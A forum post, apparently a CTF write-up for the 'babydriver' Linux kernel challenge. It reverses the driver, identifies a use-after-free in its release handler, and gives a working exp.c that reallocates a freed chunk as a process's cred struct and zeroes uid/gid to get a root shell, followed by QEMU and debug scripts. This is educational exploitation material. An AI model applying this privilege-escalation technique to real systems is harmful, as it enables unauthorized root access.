吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5263|回复: 14
收起左侧

[CTF] 内核pwn(uaf-tty_struct-babydriver)解法一

[复制链接]
HNHuangJingYU 发表于 2022-4-11 23:03
本帖最后由 HNHuangJingYU 于 2023-8-6 15:44 编辑

分析

拿到babydriver题目附件后得到的文件如下:

image-20220407123958143.png

发现运行内核就报错,内容如下:

Could not access KVM kernel module: No such file or directory qemu-system-x86_64: failed to initialize KVM: No such file or directory

未能初始化kvm,大概率是因为系统不支持虚拟化,具体可通过如下命令查看是否支持

egrep '^flags.*(vmx|svm)' /proc/cpuinfo 
#输出空则表示不支持

因为我用的pd虚拟机所以设置如下:

image-20220407134209512.png

要修改这个选项的话需要先关机虚拟机然后才能改这个设置。

在输入上面的命令看看输出情况如下图,ok成功启动

image-20220407134553581.png

系统信息如下:

image-20220407134625424.png

首先查看init文件默认加载的信息,如下:

image-20220407134945266.png

简单的了解到这题是需要进行内核提权,那么就需要获取到目标的内核漏洞模块(babydriver.ko

思路

使用file rootfs.cpio查看文件如图,发现是个gzip文件

image-20220407135311541.png

那么对它进行改后缀名为.gz文件即可解压了,得到CPIO格式的文件即可正常的处理解压得到文件系统了

mv rootfs.cpio rootfs.cpio.gz
gunzip rootfs.cpio.gz
mkdir rootfs #用于存放文件系统
cd rootfs
cpio -idmv < ../rootfs.cpio

那么现在目标模块的在rootfs/lib/modules/4.4.72/

image-20220407135927765.png

保护

image-20220407140411101.png

先看看上面的checksec检查的保护:

babydriver.ko放入IDA中进入到babydriver_init模块入口函数,简单分析如下:

image-20220407175802956.png

模块流程核心函数如下:

image-20220407191925053.png

具体定义:

/*
*alloc_chrdev_Region()-注册一系列字符设备号
*@dev:第一个分配号码的输出参数
*@basminor:请求的次要号码范围中的第一个
*@count:需要的次要号码数
*@name:关联设备或驱动程序的名称
*/
int alloc_chrdev_region(dev_t *dev, unsigned baseminor, unsigned count,
                        const char *name)
{
        struct char_device_struct *cd;
        cd = __register_chrdev_region(0, baseminor, count, name);
        if (IS_ERR(cd))
                return PTR_ERR(cd);
        *dev = MKDEV(cd->major, cd->baseminor);
        return 0;
}
/**
*CDEV_init()-初始化CDEV结构
*@CDEV:要初始化的结构
*@fops:该设备的FILE_OPERIONS
 */
void cdev_init(struct cdev *cdev, const struct file_operations *fops)
{
        memset(cdev, 0, sizeof *cdev);
        INIT_LIST_HEAD(&cdev->list);
        kobject_init(&cdev->kobj, &ktype_cdev_default);
        cdev->ops = fops;
}
/**
*CDEV_Add()-向系统添加设备
*@p:设备的CDEV结构
*@dev:该设备负责的第一个设备号
*@count:与此对应的连续次要编号的个数设备
*
*CDEV_Add()将@p表示的设备添加到系统中,使其
*立即上线。如果失败,则返回负错误代码。
*/
int cdev_add(struct cdev *p, dev_t dev, unsigned count)
{
        int error;

        p->dev = dev;
        p->count = count;

        error = kobj_map(cdev_map, dev, count, NULL,
                         exact_match, exact_lock, p);
        if (error)
                return error;

        kobject_get(p->kobj.parent);

        return 0;
}
/**
*CLASS_CREATE-创建结构类结构
*@Owner:指向“拥有”此结构类的模块的指针
*@name:指向此类名称的字符串的指针。
*@key:此类的lock_CLASS_KEY;用于互斥锁调试
*
*这用于创建结构类指针,然后可以使用该指针
*在对Device_Create()的调用中。
*
*成功时返回&struct类指针,错误时返回err_ptr()。
*
*注意,此处创建的指针在完成时将被销毁
*调用CLASS_Destroy()。
*/
struct class *__class_create(struct module *owner, const char *name,
                             struct lock_class_key *key)
{
        struct class *cls;
        int retval;

        cls = kzalloc(sizeof(*cls), GFP_KERNEL);
        if (!cls) {
                retval = -ENOMEM;
                goto error;
        }

        cls->name = name;
        cls->owner = owner;
        cls->class_release = class_create_release;

        retval = __class_register(cls, key);
        if (retval)
                goto error;

        return cls;

error:
        kfree(cls);
        return ERR_PTR(retval);
}
/**
*DEVICE_CREATE-创建设备并将其注册到系统文件系统
*@CLASS:指向此设备应注册到的结构类的指针
*@Parent:指向此新设备的父结构设备的指针(如果有
*@Devt:要添加的Charr设备的dev_t
*@drvdata:要添加到设备中进行回调的数据
*@fmt:设备名称字符串
*/
struct device *device_create(struct class *class, struct device *parent,
                             dev_t devt, void *drvdata, const char *fmt, ...)
{
        va_list vargs;
        struct device *dev;

        va_start(vargs, fmt);
        dev = device_create_vargs(class, parent, devt, drvdata, fmt, vargs);
        va_end(vargs);
        return dev;
}

babyopen函数:

image-20220407222610082.png

可以注意到参数分别是struct inode *inode, struct file *filp

inode结构存储有关文件和目录(文件夹)的信息,例如文件所有权、访问模式(读取、写入、执行权限)和文件类型。

file结构代表一个打开的文件。(它不特定于设备驱动程序;系统中每个打开的文件在struct file内核空间中都有一个关联。)直到最后一个close。在文件的所有实例都关闭后,内核释放数据结构

babyread:

image-20220407223127737.png

babywrite:

image-20220407223202106.png

babyioctl:

image-20220407223230395.png

babyrelease函数:

综上可知release函数存在一个uaf漏洞,ioctl函数可以重新分配指定大小的堆块

那么现在获取vmlinux可通过上面👆的extract-vmlinux.sh脚本得到,但是逆向工程的时候它的函数名都是识别不了的,具体如下图:

image-20220408125502608.png

那么推荐vmlinux-to-elf工具,可以自动检测以下内核压缩格式:XZ、LZMA、GZip、BZ2、LZ4、LZO 和 Zstd,它是python库,安装命令如下:

sudo pip3 install git+https://github.com/marin-m/vmlinux-to-elf
#使用:vmlinux-to-elf <input_kernel.bin> <output_kernel.elf> ---> vmlinux-to-elf bzImage vmlinux

image-20220408131502327.png

image-20220408131707984.png

现在需要在文件系统写一个可执行文件的exp利用题目模块提供的函数进行提权

比如:将一个demo.c文件编译成demo文件再将它放入到rootfs目录下对他重新打包运行到内核中即可在内核中运行它了,一般这个demo.c文件就是我们写的exp进行攻击提取的payload

gdb调试exp

在做用户态的pwn题时,gdb功能少不了那么内核态也是一样的,写入测试文件exp.c

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

int main() {
    open("/dev/babydev", O_RDWR); // 可读写
    return 0;
}

然后gcc -o roots/exp -static exp.c因为题目的文件系统没有动态链接库所以这里采用静态链接方式写入exp程序到内核系统中,然后进入到rootfs目录下重新打包文件系统,命令如下:

cd rootfs
find . | cpio -o --format=newc > ../rootfs.cpio

执行boot.sh文件启动内核,如果boot.sh中没有加-s映射端口参数就手动添加进去,启动内核如下图:

image-20220408180517730.png

这是就可以挂起gdb调试了命令如下:

gdb -ex "file vmlinux"\
    -ex "add-symbol-file babydriver.ko 0xffffffffc0000000"\  #手动加载ko符号,下面就可以设置函数断电了,0xffffffffc0000000是模块的基地址,在内核        系统中执行lsmod即可得到
    -ex "target remote localhost:1234"\
    -ex "b babyopen" \

执行后即可正常下入断点

image-20220408181143161.png

然后就是gdb跳入到断点,右边执行exp即可断下来

image-20220408181308791.png

后面就可以利用漏洞模块进行攻击提权了

利用

linux系统中,一个对象操作另一个对象时通常要做安全性检查。如一个进程操作一个文件,要检查进程是否有权限操作该文件。

通过ps -f命令即可得到该正在运行的进程,如下:

image-20220408223238973.png

从上面可以看到进程的详细信息su程序的用户的是root,设有SETUID标志则普通用户在执行该程序时可以修改需要root权限的/etc/passwd文件

当使用sudo进暂时提权运行程序时:实际用户uid=500(redhat)不变,保存用户suid、有效用户euid均变成0(root)

内核中主要有三个用户:uid(实际用户)、euid(有效用户)、suid(保存用户),可通过setuidseteuidsetreuid系统调用实现用户切换

那么到这里就引出了一个关键的结构体cred ,它用于 保存每个进程的权限定义如下:

struct cred {
        atomic_t        usage;
        atomic_t        subscribers;        /* number of processes subscribed */
        void                *put_addr;
        unsigned        magic;
        kuid_t                uid;                /* 实际用户id */
        kgid_t                gid;                /* 实际用户组id */
        kuid_t                suid;                /* 保存的用户uid */
        kgid_t                sgid;                /* 保存的用户组gid */
        kuid_t                euid;                /* 真正有效的用户id */
        kgid_t                egid;                /* 真正有效的用户组id */
        kuid_t                fsuid;                
        kgid_t                fsgid;                
        unsigned        securebits;        /* 安全管理标识;用来控制凭证的操作与继承 */
        kernel_cap_t        cap_inheritable; /* execve时可以继承的权限 */
        kernel_cap_t        cap_permitted;        /* 可以(通过capset)赋予cap_effective的权限 */
        kernel_cap_t        cap_effective;        /* 进程实际使用的权限 */
        kernel_cap_t        cap_bset;        /* capability bounding set */
        kernel_cap_t        cap_ambient;        /* Ambient capability set */
  //。。。。。。
        };
} __randomize_layout;

我们知道root身份的id组id都是0表示最高权限,一般我们使用的管理员用户就是1000

那么我们在内核创建一个新的进程时,改变进程的cred结构体uid和gid都为0也就完成了提权到root

整体思路如下:
  1. 利用漏洞模块中的uafstruct cred分配到我们可写的内存区
  2. 修改该进程的uid、gid值为0
  3. 在该进程中以root身份执行system('/bin/sh')最终提权

​                现在回到逆向工程中,open()申请了一块0x40大小的内存块,release()存在一个uaf ,而ioctl()将申请的内存块free掉然后用户指定的size再次申请有点类似于malloc()realloc(),那么我们就只需要得到struct cred的内存大小,然后造成一个悬指针即可控制struct cred

因为题目给的压缩内核镜像不带符号表,我们可以自己编译一个一样版本的内核镜像,再gdb调试计算struct cred大小

image-20220408233209678.png

编写exp.c如下:

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <unistd.h>

int main() {
  /*在用户进程空间中,当执行close(fd)之后,该进程将无法再使用这个文件描述符
   *因为题目的分配内存的指针保存在bss段babydev_struct中
   *所以alloc两个fd这样后面就可以通过修改fd2对device_buf操作
  */
    int fd1 = open("/dev/babydev", O_RDWR); // alloc1
    int fd2 = open("/dev/babydev", O_RDWR); // alloc2
    ioctl(fd1, 0x10001, 0xa8);    // realloc size -> 0xa8对应着进程cred大小
    close(fd1); // free  -> uaf

    if (!fork()) {    //注意这里采用fork()分配进程,最终会执行prepare_creds得到创建cred结构体目的
       //子进程
        char mem[28]; // 大小为sizeof(atomic_t)*2 + sizeof(void *) + sizeof(unsigned) + sizeof(kuid_t)*2 刚好覆盖到uid、gid
        memset(mem, '\x00', sizeof(mem));
        write(fd2, mem, sizeof(mem)); //覆盖数据

        // get shell
        system("/bin/sh");
    }
    else
        waitpid(-1, NULL, 0);//这里需要等待子进程,如果父进程结束那么子进程则无法在getshell后输入输出
    return 0;
}

最终将exp.c编译成可执行文件放入文件系统重新打包,内核运行./exp即可提权到root

image-20220408235835525.png

上述的一些操作可以写成一个脚本如下:

start.sh

# 静态编译 exp
gcc exp.c -static -o rootfs/exp

# rootfs 打包
pushd rootfs
find . | cpio -o --format=newc > ../rootfs.cpio
popd

# 启动 qemu
sudo qemu-system-x86_64 \
    -initrd rootfs.cpio \
    -kernel bzImage \
    -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' \
    -enable-kvm \
    -monitor /dev/null \
    -m 64M \
    --nographic  \
    -smp cores=1,threads=1 \
    -cpu kvm64,+smep \
    -s

工作目录:

image-20220409000258731.png

image-20220407194501638.png

免费评分

参与人数 9吾爱币 +11 热心值 +7 收起 理由
peiwithhao + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
山岚 + 1 + 1 谢谢@Thanks!
cj-lifetime + 1 谢谢@Thanks!
fengbolee + 2 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
yiwangguli + 1 + 1 我很赞同!
坎德沃 + 1 我很赞同!
x88tv + 1 + 1 热心回复!
xxsdpyz + 1 + 1 我很赞同!
笙若 + 1 + 1 谢谢@Thanks!

查看全部评分

本帖被以下淘专辑推荐:

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

Hmily 发表于 2022-4-27 16:17
内核pwn(uaf-tty_struct-babydriver)-解法二
https://www.52pojie.cn/thread-1620358-1-1.html


两篇一起给予精华鼓励。
Polariszz 发表于 2022-4-12 10:58
metoo2 发表于 2022-4-12 15:06
谈何易i 发表于 2022-4-13 10:18
感谢分享
x88tv 发表于 2022-4-13 14:56
看不懂,以咨鼓励
tukuai88ya 发表于 2022-4-27 16:31
学习了,感谢分享。
kaitlinn 发表于 2022-4-30 18:19
学习了,感谢大佬分享。
jncsw 发表于 2022-5-2 12:21
感谢分享,很详细!
 楼主| HNHuangJingYU 发表于 2022-5-3 22:46
Hmily 发表于 2022-4-27 16:17
两篇一起给予精华鼓励。

谢谢H大大,往后会努力有更好的文章
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 15:14

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表